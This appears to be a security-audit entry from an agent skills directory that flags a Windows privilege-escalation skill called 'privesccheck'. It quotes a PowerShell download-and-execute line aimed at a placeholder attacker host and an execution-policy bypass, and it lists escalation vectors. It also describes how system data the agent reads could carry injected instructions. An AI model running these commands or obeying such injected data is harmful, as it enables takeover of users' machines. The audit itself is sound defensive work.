The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill explicitly instructs the agent to download and execute code from a remote, untrusted source using the pattern IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/PrivescCheck.ps1").
[PRIVILEGE_ESCALATION]: Instructions include bypassing PowerShell execution policies (powershell -ep bypass) and actively seeking privilege escalation vectors such as AlwaysInstallElevated, weak service DACLs, and DLL/COM hijacking opportunities.
[EXTERNAL_DOWNLOADS]: Fetches external script content from a non-whitelisted placeholder domain (http://ATTACKER/) and pipes it directly to the shell for execution.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and process untrusted system data (service names, registry keys, scheduled tasks) which could be manipulated to contain malicious instructions targeting the agent.
Ingestion points: Enumeration of Windows Services, Scheduled Tasks, Registry, and COM Objects (SKILL.md).
Boundary markers: None identified.
Capability inventory: Full PowerShell execution, IEX for remote code, file system reads, and network downloads.
Sanitization: No sanitization or validation of the ingested system data is described.

privesccheck